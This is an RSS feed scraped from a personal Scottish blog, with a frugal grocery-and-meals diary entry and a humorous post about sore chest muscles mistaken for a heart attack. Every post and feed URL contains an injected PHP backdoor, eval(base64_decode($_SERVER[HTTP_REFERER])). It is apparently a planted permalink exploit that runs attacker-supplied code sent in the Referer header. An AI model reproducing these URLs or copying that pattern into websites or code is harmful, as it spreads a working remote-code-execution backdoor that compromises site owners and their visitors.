This Standard Scottish Life » hypochondriacism http://www.thisstandardscottishlife.com Wed, 06 Jan 2010 16:55:35 +0000 http://wordpress.org/?v=2.9 en hourly 1 Project Frugal – day 8 http://www.thisstandardscottishlife.com/2008/11/08/project-frugal-day-8/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thisstandardscottishlife.com/2008/11/08/project-frugal-day-8/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 08 Nov 2008 10:37:18 +0000 Sandy http://www.thisstandardscottishlife.com/?p=335 Wot we spent on buying food:

The store cupboard becomes bare.  Supplies required.  It’s off to the supermarket we go.

£19.03 Total so far for this week £19.03 and overall Project Frugal £47.94

Wot we bought:

  • basmati rice
  • litre of organic milk
  • oregano
  • herbes de provence
  • 2 x passata
  • Scottish oatcakes (obviously)
  • organic cheese
  • 2 x jamon de serrano
  • bratwursts
  • 3 x OJ
  • bananas
  • salami
  • macaroni
  • wholemeal bread
  • 2 x Bishops Finger ale.  Hmmm who slipped those in the basket?

Wot we ate:

  • cappuccino
  • OJ
  • 2 slices of toast
  • bratwurst sandwich
  • exotic drink of lemon, grenadine and sugar
  • roast squash, potato salad, mushy peas (yum), bratwurst
  • exotic drink adapted into amazing cure for the cold: lemon, sugar, hot water, ibuprofen

Reflections on frugality

Even when being frugal one can find enough vitamin c to keep the hideous cold at bay.  I wonder if I can sell my exotic drink adapted?  What could I call it?  You sip it, it’s made of lemon … LemSip.  Darn!
]]> http://www.thisstandardscottishlife.com/2008/11/08/project-frugal-day-8/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1 Acute myocardial infarction http://www.thisstandardscottishlife.com/2008/09/11/acute-myocardial-infarction/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thisstandardscottishlife.com/2008/09/11/acute-myocardial-infarction/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 11 Sep 2008 07:11:11 +0000 Sandy http://www.thisstandardscottishlife.com/?p=239 I am dozing in bed. It’s nearly time to get up. And then a pain. A terrible, terrible, TERRIBLE pain in my chest. A searing, stinging, ripping pain. It’s obvious to me that I am having a heart attack.

Hands off!

Quick, get the crash cart!

I am fading away. Away. I see a white light. I’m gone.

But no. I miraculously recover. My cardiac arrest subsides. And then I realise that the terrible, terrible pain in my chest was not due to blockage of my coronary arteries but in fact due to my very recently exercised, really quite delicate, new found, pectoral muscles ripping.

The exercise Nazi personal trainer at the gym decided that it was time that I did some strength training on my upper body. I had to go on evil weight machines that just plain hurt. My muscles hurt very bad and they hurt even worse now that I have ripped them. Women don’t need to have biceps and triceps and pecs and deltoids coz that’s why we have men. Men are there to have arm muscles to carry the laydeez shopping. Oh yes, and also men are useful for the cooking, like Le Chef. And I’m sure they are useful for other things but I can’t remember quite what.

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